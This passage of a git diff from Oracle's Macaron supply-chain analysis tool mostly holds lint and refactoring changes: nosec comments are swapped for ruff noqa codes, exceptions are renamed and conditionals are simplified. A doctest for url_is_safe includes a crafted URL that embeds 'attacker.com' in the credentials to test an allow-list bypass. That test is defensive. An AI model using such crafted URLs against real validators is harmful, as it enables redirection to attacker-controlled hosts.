- __mapper_args__ = {
+ __mapper_args__ = { # # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": __tablename__,
}
diff --git a/src/macaron/slsa_analyzer/checks/provenance_verified_check.py b/src/macaron/slsa_analyzer/checks/provenance_verified_check.py
index 46ac145e7..9d3dc96a7 100644
--- a/src/macaron/slsa_analyzer/checks/provenance_verified_check.py
+++ b/src/macaron/slsa_analyzer/checks/provenance_verified_check.py
@@ -25,7 +25,7 @@ class ProvenanceVerifiedFacts(CheckFacts):
__tablename__ = "_provenance_verified_check"
# The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
# The SLSA build level of the provenance.
build_level: Mapped[int]
@@ -33,7 +33,7 @@ class ProvenanceVerifiedFacts(CheckFacts):
# The build type of the provenance.
build_type: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": __tablename__,
}
diff --git a/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py b/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py
index c1eaff4e6..147fd9c89 100644
--- a/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py
+++ b/src/macaron/slsa_analyzer/checks/provenance_witness_l1_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This check examines a witness provenance (https://github.com/testifysec/witness)."""
@@ -28,7 +28,7 @@
logger: logging.Logger = logging.getLogger(__name__)
-class WitnessProvenanceException(MacaronError):
+class WitnessProvenanceError(MacaronError):
"""When there is an error while processing a Witness provenance."""
@@ -38,7 +38,7 @@ class WitnessProvenanceAvailableFacts(CheckFacts):
__tablename__ = "_provenance_witness_l1_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The provenance asset name.
provenance_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT})
@@ -49,7 +49,7 @@ class WitnessProvenanceAvailableFacts(CheckFacts):
#: The URL for the artifact asset.
artifact_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_provenance_witness_l1_check",
}
@@ -74,7 +74,7 @@ def verify_artifact_assets(
Raises
------
- WitnessProvenanceException
+ WitnessProvenanceError
If a subject is not a file attested by the Witness product attestor.
"""
# A look-up table to verify:
@@ -84,9 +84,7 @@ def verify_artifact_assets(
for subject in subjects:
if not subject["name"].startswith("https://witness.dev/attestations/product/v0.1/file:"):
- raise WitnessProvenanceException(
- f"{subject['name']} is not a file attested by the Witness product attestor."
- )
+ raise WitnessProvenanceError(f"{subject['name']} is not a file attested by the Witness product attestor.")
# Get the artifact name, which should be the last part of the artifact subject value.
_, _, artifact_filename = subject["name"].rpartition("/")
@@ -188,7 +186,7 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
try:
verify_status = verify_artifact_assets(artifact_assets, subjects)
- except WitnessProvenanceException as err:
+ except WitnessProvenanceError as err:
logger.error(err)
return CheckResultData(
result_tables=result_tables,
diff --git a/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py b/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py
index 0da3eb3bb..066c6ca69 100644
--- a/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py
+++ b/src/macaron/slsa_analyzer/checks/scm_authenticity_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""A check to determine whether the source repository of a package can be independently verified."""
@@ -28,7 +28,7 @@ class ScmAuthenticityFacts(CheckFacts):
__tablename__ = "_scm_authenticity_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: Repository link identified by Macaron's repo finder.
repo_link: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF})
@@ -52,7 +52,7 @@ class ScmAuthenticityFacts(CheckFacts):
#: The build tool used to build the package.
build_tool: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": __tablename__,
}
diff --git a/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py b/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py
index f6ef41014..e1e4878b1 100644
--- a/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py
+++ b/src/macaron/slsa_analyzer/checks/trusted_builder_l3_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
@@ -34,7 +34,7 @@ class TrustedBuilderFacts(CheckFacts):
__tablename__ = "_trusted_builder_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The name of the tool used to build.
build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT})
@@ -45,7 +45,7 @@ class TrustedBuilderFacts(CheckFacts):
#: The entrypoint script that triggers the build.
build_trigger: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_trusted_builder_check",
}
@@ -117,7 +117,6 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
for root in ci_info["callgraph"].root_nodes:
for callee in traverse_bfs(root):
if isinstance(callee, (GitHubActionsReusableWorkflowCallNode, GitHubActionsActionStepNode)):
-
workflow_name = callee.uses_name
if workflow_name in trusted_builders:
diff --git a/src/macaron/slsa_analyzer/checks/vcs_check.py b/src/macaron/slsa_analyzer/checks/vcs_check.py
index 259838477..28f345143 100644
--- a/src/macaron/slsa_analyzer/checks/vcs_check.py
+++ b/src/macaron/slsa_analyzer/checks/vcs_check.py
@@ -24,12 +24,12 @@ class VCSFacts(CheckFacts):
__tablename__ = "_vcs_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The Git repository path.
git_repo: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_vcs_check",
}
diff --git a/src/macaron/slsa_analyzer/ci_service/base_ci_service.py b/src/macaron/slsa_analyzer/ci_service/base_ci_service.py
index 56979e055..3aec8f904 100644
--- a/src/macaron/slsa_analyzer/ci_service/base_ci_service.py
+++ b/src/macaron/slsa_analyzer/ci_service/base_ci_service.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the BaseCIService class to be inherited by a CI service."""
@@ -63,7 +63,9 @@ def get_workflows(self, repo_path: str) -> list:
raise NotImplementedError
def is_detected(
- self, repo_path: str, git_service: BaseGitService | None = None # pylint: disable=unused-argument
+ self,
+ repo_path: str,
+ git_service: BaseGitService | None = None, # pylint: disable=unused-argument
) -> bool:
"""Return True if this CI service is used in the target repo.
diff --git a/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py b/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py
index d222ee011..b9c975297 100644
--- a/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py
+++ b/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py
@@ -9,7 +9,7 @@
import logging
import os
import traceback
-from datetime import datetime, timedelta, timezone
+from datetime import UTC, datetime, timedelta
from macaron.code_analyzer.dataflow_analysis.analysis import analyse_github_workflow_file
from macaron.code_analyzer.dataflow_analysis.core import Node, NodeForest
@@ -30,7 +30,7 @@ class GitHubActions(BaseCIService):
def __init__(self) -> None:
"""Initialize instance."""
super().__init__(name="github_actions")
- self.personal_access_token = "" # nosec B105
+ self.personal_access_token = ""
self.api_client: GhAPIClient = get_default_gh_client("")
self.query_page_threshold = 10
self.max_items_num = 100
@@ -160,7 +160,7 @@ def has_latest_run_passed(
# Setting the timezone to UTC because the date format.
# We are using for GitHub Actions is in ISO format, which contains the offset
# from the UTC timezone. For example: 2022-04-10T14:10:01+07:00
- current_time = datetime.now(timezone.utc)
+ current_time = datetime.now(UTC)
# TODO: it is safer to get commit_date as a datetime object directly.
commit_date_obj = datetime.fromisoformat(commit_date)
day_delta = (current_time - commit_date_obj).days
@@ -453,7 +453,7 @@ def workflow_run_deleted(self, timestamp: datetime) -> bool:
# apiVersion=2022-11-28#retention-of-checks-data
# TODO: change this check if this issue is resolved:
# https://github.com/orgs/community/discussions/138249
- if datetime.now(timezone.utc) - timedelta(days=400) > timestamp:
+ if datetime.now(UTC) - timedelta(days=400) > timestamp:
logger.debug("Artifact published at %s is older than 400 days.", timestamp)
return True
diff --git a/src/macaron/slsa_analyzer/git_service/api_client.py b/src/macaron/slsa_analyzer/git_service/api_client.py
index 00abc1bbd..a4ed93b21 100644
--- a/src/macaron/slsa_analyzer/git_service/api_client.py
+++ b/src/macaron/slsa_analyzer/git_service/api_client.py
@@ -559,7 +559,9 @@ def get_file_link(self, full_name: str, commit_sha: str, file_path: str) -> str:
Examples
--------
>>> api_client = GhAPIClient(profile={"headers": "", "query": []})
- >>> api_client.get_file_link("owner/repo", "5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01", ".travis_ci.yml")
+ >>> api_client.get_file_link(
+ ... "owner/repo", "5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01", ".travis_ci.yml"
+ ... )
'https://github.com/owner/repo/blob/5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01/.travis_ci.yml'
"""
return f"https://github.com/{full_name}/blob/{commit_sha}/{file_path}"
diff --git a/src/macaron/slsa_analyzer/git_service/gitlab.py b/src/macaron/slsa_analyzer/git_service/gitlab.py
index 477ec2282..15da8203b 100644
--- a/src/macaron/slsa_analyzer/git_service/gitlab.py
+++ b/src/macaron/slsa_analyzer/git_service/gitlab.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the spec for the GitLab service.
@@ -89,10 +89,7 @@ def construct_clone_url(self, url: str) -> str:
# Construct clone URL from ``urlparse`` result, with or without an access token.
# https://docs.gitlab.com/ee/gitlab-basics/start-using-git.html#clone-using-a-token
access_token: str | None = self.token_function()
- if access_token:
- clone_url_netloc = f"oauth2:{access_token}@{self.hostname}"
- else:
- clone_url_netloc = self.hostname
+ clone_url_netloc = f"oauth2:{access_token}@{self.hostname}" if access_token else self.hostname
clone_url = urlunparse(
ParseResult(
diff --git a/src/macaron/slsa_analyzer/git_url.py b/src/macaron/slsa_analyzer/git_url.py
index 8c3bf25b0..f5397fc05 100644
--- a/src/macaron/slsa_analyzer/git_url.py
+++ b/src/macaron/slsa_analyzer/git_url.py
@@ -7,7 +7,7 @@
import os
import re
import string
-import subprocess # nosec B404
+import subprocess
import urllib.parse
from configparser import ConfigParser
from pathlib import Path
@@ -325,7 +325,7 @@ def clone_remote_repo(clone_dir: str, url: str) -> Repo | None:
# ``git clone`` from prompting for login credentials.
"GIT_TERMINAL_PROMPT": "0",
}
- subprocess.run( # nosec B603
+ subprocess.run(
args=["git", "fetch", "origin", "--force", "--tags", "--prune", "--prune-tags"],
capture_output=True,
cwd=clone_dir,
@@ -350,7 +350,7 @@ def clone_remote_repo(clone_dir: str, url: str) -> Repo | None:
# ``git clone`` from prompting for login credentials.
"GIT_TERMINAL_PROMPT": "0",
}
- result = subprocess.run( # nosec B603
+ result = subprocess.run(
args=["git", "clone", "--filter=tree:0", url],
capture_output=True,
cwd=parent_dir,
@@ -390,8 +390,8 @@ def list_remote_references(arguments: list[str], repo: str) -> str | None:
The result of the command.
"""
try:
- result = subprocess.run( # nosec B603
- args=["git", "ls-remote"] + arguments + [repo],
+ result = subprocess.run(
+ args=["git", "ls-remote", *arguments, repo],
capture_output=True,
# By setting stdin to /dev/null and using a new session, we prevent all possible user input prompts.
stdin=subprocess.DEVNULL,
@@ -615,7 +615,7 @@ def clean_up_repo_path(repo_path: str) -> str:
The cleaned up repo path.
"""
cleaned_path = repo_path.strip(" ").rstrip("/")
- return cleaned_path[:-4] if cleaned_path.endswith(".git") else cleaned_path
+ return cleaned_path.removesuffix(".git")
def get_remote_vcs_url(url: str, clean_up: bool = True) -> str:
@@ -736,7 +736,7 @@ def parse_remote_url(
return None
path = ""
- if not port.isdecimal():
+ if not port.isdecimal(): # noqa: SIM108
# Happen for ssh://git@github.com:owner/project.git
# where parsed_url.netloc="git@github.com:owner", port="owner"
# and parsed_url.path="project.git".
@@ -763,16 +763,8 @@ def parse_remote_url(
if not user or host not in allowed_git_service_hostnames:
return None
- path = ""
port_num, _, path_remain = port_path.strip("/").partition("/")
- if not port_num.isdecimal():
- # port_path doesn't have any port number (e.g. port_path == /org/name).
- # We use all of port_path as the path.
- path = port_path
- else:
- # port_path have valid port number (e.g. port_path == 7999/org/name).
- # We only use the rest of the path.
- path = path_remain
+ path = path_remain if port_num.isdecimal() else port_path
path_params = path.strip("/").split("/")
if len(path_params) < 2:
@@ -902,10 +894,7 @@ def is_empty_repo(git_obj: Git) -> bool:
# https://stackoverflow.com/questions/5491832/how-can-i-check-whether-a-git-repository-has-any-commits-in-it
try:
head_commit_hash = git_obj.repo.git.rev_parse("HEAD")
- if not head_commit_hash:
- return True
-
- return False
+ return bool(not head_commit_hash)
except GitCommandError:
return True
@@ -929,15 +918,15 @@ def is_commit_hash(value: str) -> bool:
Example
-------
- >>> is_commit_hash('e3a1b6c')
+ >>> is_commit_hash("e3a1b6c")
True
- >>> is_commit_hash('e3a1b6c8d9b2ff0c9f5f8a0a5d8f4cf2e19b1db3')
+ >>> is_commit_hash("e3a1b6c8d9b2ff0c9f5f8a0a5d8f4cf2e19b1db3")
True
- >>> is_commit_hash('invalid_hash123')
+ >>> is_commit_hash("invalid_hash123")
False
- >>> is_commit_hash('master')
+ >>> is_commit_hash("master")
False
- >>> is_commit_hash('main')
+ >>> is_commit_hash("main")
False
"""
pattern = r"^[a-f0-9]{7,40}$"
diff --git a/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py b/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py
index 25b3145ed..56e0f4522 100644
--- a/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py
+++ b/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Assets on a package registry."""
@@ -154,7 +154,7 @@ def load_defaults(self) -> None:
self.request_timeout = defaults.getint("requests", "timeout", fallback=10)
except ValueError as error:
raise ConfigurationError(
- f'The value of "timeout" in section [requests] ' f"of the .ini configuration file is invalid: {error}",
+ f'The value of "timeout" in section [requests] of the .ini configuration file is invalid: {error}',
) from error
try:
diff --git a/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py b/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py
index 957193229..b682d3957 100644
--- a/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py
+++ b/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py
@@ -6,7 +6,7 @@
import hashlib
import logging
import urllib.parse
-from datetime import datetime, timezone
+from datetime import UTC, datetime
import requests
from packageurl import PackageURL
@@ -233,7 +233,7 @@ def find_publish_timestamp(self, purl: str) -> datetime:
# The timestamp published in Maven Central is in milliseconds and needs to be divided by 1000.
# Unfortunately, this is not documented in the API docs.
try:
- return datetime.fromtimestamp(round(timestamp / 1000), tz=timezone.utc)
+ return datetime.fromtimestamp(round(timestamp / 1000), tz=UTC)
except (OverflowError, OSError) as error:
raise InvalidHTTPResponseError(f"The timestamp returned by {url} is invalid") from error
diff --git a/src/macaron/slsa_analyzer/package_registry/osv_dev.py b/src/macaron/slsa_analyzer/package_registry/osv_dev.py
index b5955ffa5..eda4e7683 100644
--- a/src/macaron/slsa_analyzer/package_registry/osv_dev.py
+++ b/src/macaron/slsa_analyzer/package_registry/osv_dev.py
@@ -261,11 +261,10 @@ def call_osv_querybatch_api(query_data: dict, expected_size: int | None = None)
results = res_obj.get("results") if res_obj else None
if isinstance(results, list):
- if expected_size:
- if len(results) != expected_size:
- raise APIAccessError(
- f"Failed to retrieve a valid result from {url}: result count does not match the expected count."
- )
+ if expected_size and len(results) != expected_size:
+ raise APIAccessError(
+ f"Failed to retrieve a valid result from {url}: result count does not match the expected count."
+ )
return results
diff --git a/src/macaron/slsa_analyzer/package_registry/pypi_registry.py b/src/macaron/slsa_analyzer/package_registry/pypi_registry.py
index 777bd1f1b..55fded189 100644
--- a/src/macaron/slsa_analyzer/package_registry/pypi_registry.py
+++ b/src/macaron/slsa_analyzer/package_registry/pypi_registry.py
@@ -49,7 +49,7 @@
def _handle_temp_dir_clean(function: Callable, path: str, onerror: tuple) -> None:
- raise SourceCodeError(f"Error removing with shutil. function={function}, " f"path={path}, excinfo={onerror}")
+ raise SourceCodeError(f"Error removing with shutil. function={function}, path={path}, excinfo={onerror}")
class PyPIRegistry(PackageRegistry):
@@ -277,9 +277,7 @@ def download_package_sourcecode(self, url: str) -> str:
temp_dir, f"Error downloading source code from file {file_name}: {error}", error
)
if not download_succeeded:
- self.cleanup_sourcecode_directory(
- temp_dir, f"Error downloading source code from file {file_name}."
- )
+ self.cleanup_sourcecode_directory(temp_dir, f"Error downloading source code from file {file_name}.")
if not tarfile.is_tarfile(source_file):
self.cleanup_sourcecode_directory(temp_dir, f"Unable to extract source code from file {file_name}")
@@ -288,8 +286,7 @@ def download_package_sourcecode(self, url: str) -> str:
with tarfile.open(source_file, "r:gz") as sourcecode_tar:
members = sourcecode_tar.getmembers()
if members and all(
- member.name == package_name or member.name.startswith(f"{package_name}/")
- for member in members
+ member.name == package_name or member.name.startswith(f"{package_name}/") for member in members
):
# Most sdists wrap their contents in a single package-version directory.
# Strip that wrapper during extraction so the returned temp directory
@@ -353,9 +350,7 @@ def download_package_wheel(self, url: str) -> str:
temp_dir, f"Error downloading wheel from file {file_name}: {error}", error
)
if not download_succeeded:
- self.cleanup_sourcecode_directory(
- temp_dir, f"Error downloading wheel from file {file_name}."
- )
+ self.cleanup_sourcecode_directory(temp_dir, f"Error downloading wheel from file {file_name}.")
# Wheel is a zip
if not zipfile.is_zipfile(wheel_file):
@@ -371,7 +366,7 @@ def download_package_wheel(self, url: str) -> str:
if member.filename.endswith("METADATA"):
members.append(member)
# Intended suppression. The tool is unable to see that .extractall is being called with a filter
- zip_file.extractall(temp_dir, members) # nosec B202:tarfile_unsafe_members
+ zip_file.extractall(temp_dir, members) # noqa: S202
except zipfile.BadZipFile as bad_zip:
self.cleanup_sourcecode_directory(temp_dir, f"Error extracting wheel: {bad_zip}", bad_zip)
@@ -577,7 +572,7 @@ def get_python_requires_for_package_requirement(self, package_requirement: str)
if releases:
# Find smallest requirement satisfying parsed_requirement.name
version_tuples: list[tuple[str, Version]] = []
- for version in releases.keys():
+ for version in releases:
try:
version_name = str(version)
parsed_version = Version(version_name)
@@ -657,9 +652,7 @@ class PyPIInspectorAsset:
def __bool__(self) -> bool:
"""Determine if this inspector object is empty."""
- if (self.package_sdist_link or self.package_whl_links) and self.package_link_reachability:
- return True
- return False
+ return bool((self.package_sdist_link or self.package_whl_links) and self.package_link_reachability)
@staticmethod
def get_structure(pypi_inspector_url: str) -> list[str] | None:
@@ -1130,11 +1123,7 @@ def file_exists(self, path: str) -> bool:
if not os.path.isabs(path):
path = os.path.join(self.package_sourcecode_path, path)
- if not os.path.exists(path):
- # Could not find a file at that path
- return False
-
- return True
+ return os.path.exists(path)
def iter_sourcecode(self) -> Iterator[tuple[str, bytes]]:
"""
@@ -1157,10 +1146,7 @@ def iter_sourcecode(self) -> Iterator[tuple[str, bytes]]:
for root, _directories, files in os.walk(self.package_sourcecode_path):
for file in files:
- if root == ".":
- root_path = os.getcwd() + os.linesep
- else:
- root_path = root
+ root_path = os.getcwd() + os.linesep if root == "." else root
filepath = os.path.join(root_path, file)
with open(filepath, "rb") as handle:
diff --git a/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py b/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py
index 2f8caf3de..32dbe94fc 100644
--- a/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py
+++ b/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module provides CUE expectation implementations.
@@ -30,10 +30,10 @@ class CUEExpectation(Expectation):
__tablename__ = "_cue_expectation"
#: The primary key, which is also a foreign key to the base check table.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The polymorphic inheritance configuration.
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_cue_expectation",
}
diff --git a/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py b/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py
index fc7e92c1b..ad25a40fc 100644
--- a/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py
+++ b/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py
@@ -1,10 +1,10 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""The cue module invokes the CUE schema validator."""
import os
-import subprocess # nosec B404
+import subprocess
from macaron import MACARON_PATH
from macaron.config.defaults import defaults
@@ -39,7 +39,7 @@ def get_target(expectation_path: str | None) -> str:
]
try:
- result = subprocess.run( # nosec B603
+ result = subprocess.run( # noqa: S603
cmd,
capture_output=True,
check=True,
@@ -88,7 +88,7 @@ def validate_expectation(expectation_path: str, prov_stmt_path: str) -> bool:
]
try:
- result = subprocess.run( # nosec B603
+ result = subprocess.run( # noqa: S603
cmd,
capture_output=True,
check=True,
diff --git a/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py b/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py
index bee069028..51b86c614 100644
--- a/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py
+++ b/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module handles in-toto version 0.1 attestations."""
@@ -20,7 +20,7 @@ class InTotoV01Statement(TypedDict):
_type: str
subject: list[InTotoV01Subject]
- predicateType: str # noqa: N815
+ predicateType: str
predicate: dict[str, JsonType] | None
diff --git a/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py b/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py
index 2854b91e2..e7c4b1b31 100644
--- a/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py
+++ b/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module handles in-toto version 1 attestations."""
@@ -21,7 +21,7 @@ class InTotoV1Statement(TypedDict):
_type: str
subject: list[InTotoV1ResourceDescriptor]
- predicateType: str # noqa: N815
+ predicateType: str
predicate: dict[str, JsonType] | None
diff --git a/src/macaron/slsa_analyzer/provenance/loader.py b/src/macaron/slsa_analyzer/provenance/loader.py
index 0b7b1352b..a678f0a85 100644
--- a/src/macaron/slsa_analyzer/provenance/loader.py
+++ b/src/macaron/slsa_analyzer/provenance/loader.py
@@ -102,14 +102,14 @@ def decode_provenance(provenance: dict) -> dict[str, JsonType]:
If the payload could not be decoded.
"""
# The GitHub Attestation stores the DSSE envelope in `dsseEnvelope` property.
- dsse_envelope = provenance.get("dsseEnvelope", None)
+ dsse_envelope = provenance.get("dsseEnvelope")
if dsse_envelope:
provenance_payload = dsse_envelope.get("payload", None)
logger.debug("Found dsseEnvelope property in the provenance.")
else:
# Some provenances, such as Witness may not include the DSSE envelope `dsseEnvelope`
# property but contain its value directly.
- provenance_payload = provenance.get("payload", None)
+ provenance_payload = provenance.get("payload")
if not provenance_payload:
# PyPI Attestation.
provenance_payload = json_extract(provenance, ["envelope", "statement"], str)
diff --git a/src/macaron/slsa_analyzer/registry.py b/src/macaron/slsa_analyzer/registry.py
index 55dd7f7a3..edfed93ed 100644
--- a/src/macaron/slsa_analyzer/registry.py
+++ b/src/macaron/slsa_analyzer/registry.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the Registry class for loading checks."""
@@ -11,7 +11,7 @@
import traceback
from collections.abc import Callable, Iterable
from graphlib import CycleError, TopologicalSorter
-from typing import Any, TypeVar
+from typing import Any, ClassVar, TypeVar
from macaron.config.defaults import defaults
from macaron.console import access_handler
@@ -37,10 +37,10 @@
class Registry:
"""This abstract class is used to store checks in Macaron."""
- _all_checks_mapping: dict[str, BaseCheck] = {}
+ _all_checks_mapping: ClassVar[dict[str, BaseCheck]] = {}
# Map between a check and any child checks that depend on it.
- _check_relationships_mapping: dict[str, dict[str, CheckResultType]] = {}
+ _check_relationships_mapping: ClassVar[dict[str, dict[str, CheckResultType]]] = {}
# The format for check id
_id_format = re.compile(r"^mcn_([a-z]+_)+([0-9]+)$")
@@ -254,10 +254,7 @@ def _validate_check_id_format(check_id: Any) -> bool:
>>> Registry._validate_check_id_format("Some_Thing', '', '%(*$)")
False
"""
- if (not isinstance(check_id, str)) or (not Registry._id_format.match(check_id)):
- return False
-
- return True
+ return not (not isinstance(check_id, str) or not Registry._id_format.match(check_id))
@staticmethod
def _validate_check_relationship(relationship: Any) -> bool:
@@ -277,16 +274,13 @@ def _validate_check_relationship(relationship: Any) -> bool:
bool
True if valid, else False.
"""
- if (
+ return bool(
relationship
and isinstance(relationship, tuple)
and len(relationship) == 2
and isinstance(relationship[0], str)
and isinstance(relationship[1], CheckResultType)
- ):
- return True
-
- return False
+ )
def get_parents(self, check_id: str) -> set[str]:
"""Return the ids of all direct parent checks.
diff --git a/src/macaron/util.py b/src/macaron/util.py
index b6f789493..d4e6420f0 100644
--- a/src/macaron/util.py
+++ b/src/macaron/util.py
@@ -59,17 +59,16 @@ def url_is_safe(url: str, allow_list: list[str] | None = None, allow_login: bool
False
>>> url_is_safe("https://username:attacker.com\\@allowlist.com", ["allowlist.com"])
False
- >>> url_is_safe("https://username:test@allowlist.com", ["allowlist.com"], allow_login = True)
+ >>> url_is_safe("https://username:test@allowlist.com", ["allowlist.com"], allow_login=True)
True
"""
try:
parsed_url = urllib.parse.urlparse(url)
except ValueError:
return False
- if not allow_login:
- if parsed_url.username or parsed_url.password:
- logger.debug("Potential attempt to redirect to an invalid URL: hostname %s", parsed_url.hostname)
- return False
+ if not allow_login and (parsed_url.username or parsed_url.password):
